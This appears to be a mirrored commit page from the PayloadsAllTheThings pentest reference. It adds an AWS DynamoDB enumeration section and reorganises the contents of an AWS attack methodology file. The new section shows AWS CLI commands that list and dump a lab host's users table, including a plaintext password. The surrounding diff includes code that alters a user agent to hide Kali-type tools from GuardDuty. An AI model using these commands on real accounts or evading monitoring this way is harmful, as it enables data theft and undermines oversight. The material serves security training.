Mirrors/PayloadsAllTheThings
2
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-11-14 00:47:20 +00:00
Code Issues Projects Releases Packages Wiki Activity

Add AWS DynamoDB enumeration

Browse source
This commit is contained in:
soka 2021-04-30 21:44:21 +02:00
parent 1592756f9c
commit a4bdabea83
1 changed files with 53 additions and 23 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

76
Methodology and Resources/Cloud - AWS Pentest.md
View file

@ -4,29 +4,31 @@
## Summary ## Summary
* [Training](#training) - [AWS](#aws)
* [Tools](#tools) - [Summary](#summary)
* [AWS - Patterns](#aws---patterns) - [Training](#training)
* [AWS - Metadata SSRF](#aws---metadata-ssrf) - [Tools](#tools)
* [Method for Elastic Cloud Compute (EC2)](#method-for-elastic-cloud-compute-ec2) - [AWS Patterns](#aws-patterns)
* [Method for Container Service (Fargate)](#method-for-container-service-fargate) - [AWS - Metadata SSRF](#aws---metadata-ssrf)
* [AWS API calls that return credentials](#aws-api-calls-that-return-credentials) - [Method for Elastic Cloud Compute (EC2)](#method-for-elastic-cloud-compute-ec2)
* [AWS - Shadow Admin](#aws---shadow-admin) - [Method for Container Service (Fargate)](#method-for-container-service-fargate)
* [Admin equivalent permission](#admin-equivalent-permission) - [AWS API calls that return credentials](#aws-api-calls-that-return-credentials)
* [AWS - Gaining AWS Console Access via API Keys](#aws---gaining-aws-console-access-via-api-keys) - [AWS - Shadow Admin](#aws---shadow-admin)
* [AWS - Mount EBS volume to EC2 Linux](#aws---mount-ebs-volume-to-ec2-linux) - [Admin equivalent permission](#admin-equivalent-permission)
* [AWS - Copy EC2 using AMI Image](#aws---copy-ec2-using-ami-image) - [AWS - Gaining AWS Console Access via API Keys](#aws---gaining-aws-console-access-via-api-keys)
* [AWS - Instance Connect - Push an SSH key to EC2 instance](#aws---instance-connect---push-an-ssh-key-to-ec2-instance) - [AWS - Enumerate IAM permissions](#aws---enumerate-iam-permissions)
* [AWS - Lambda - Extract function's code](#aws---lambda---extract-functions-code) - [AWS - Mount EBS volume to EC2 Linux](#aws---mount-ebs-volume-to-ec2-linux)
* [AWS - SSM - Command execution](#aws---ssm---command-execution) - [AWS - Copy EC2 using AMI Image](#aws---copy-ec2-using-ami-image)
* [AWS - Golden SAML Attack](#aws---golden-saml-attack) - [AWS - Instance Connect - Push an SSH key to EC2 instance](#aws---instance-connect---push-an-ssh-key-to-ec2-instance)
* [AWS - Shadow Copy Attack](#aws---shadow-copy-attack) - [AWS - Lambda - Extract function's code](#aws---lambda---extract-functions-code)
* [Cover tracks by obfuscating Cloudtrail logs and Guard Duty](#cover-tracks-by-obfuscating-cloudtrail-logs-and-guard-duty) - [AWS - SSM - Command execution](#aws---ssm---command-execution)
* [PenTest:IAMUser/KaliLinux](#) - [AWS - Golden SAML Attack](#aws---golden-saml-attack)
* [PenTest:IAMUser/ParrotLinux](#) - [AWS - Shadow Copy attack](#aws---shadow-copy-attack)
* [PenTest:IAMUser/PentooLinux](#) - [Disable CloudTrail](#disable-cloudtrail)
* [Security checks](#security-checks) - [Cover tracks by obfuscating Cloudtrail logs and Guard Duty](#cover-tracks-by-obfuscating-cloudtrail-logs-and-guard-duty)
* [References](#references) - [DynamoDB](#dynamodb)
- [Security checks](#security-checks)
- [References](#references)
## Training ## Training
@ -605,6 +607,34 @@ if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower(): #
self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...') self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...')
``` ```
## DynamoDB
> Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It's a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second.
* list tables
```bash
$ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables
{
"TableNames": [
"users"
]
}
```
* enumerate table content
```bash
$ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'
{
"password": {
"S": "Management@#1@#"
},
"username": {
"S": "Mgmt"
}
}
```
## Security checks ## Security checks
https://github.com/DenizParlak/Zeus https://github.com/DenizParlak/Zeus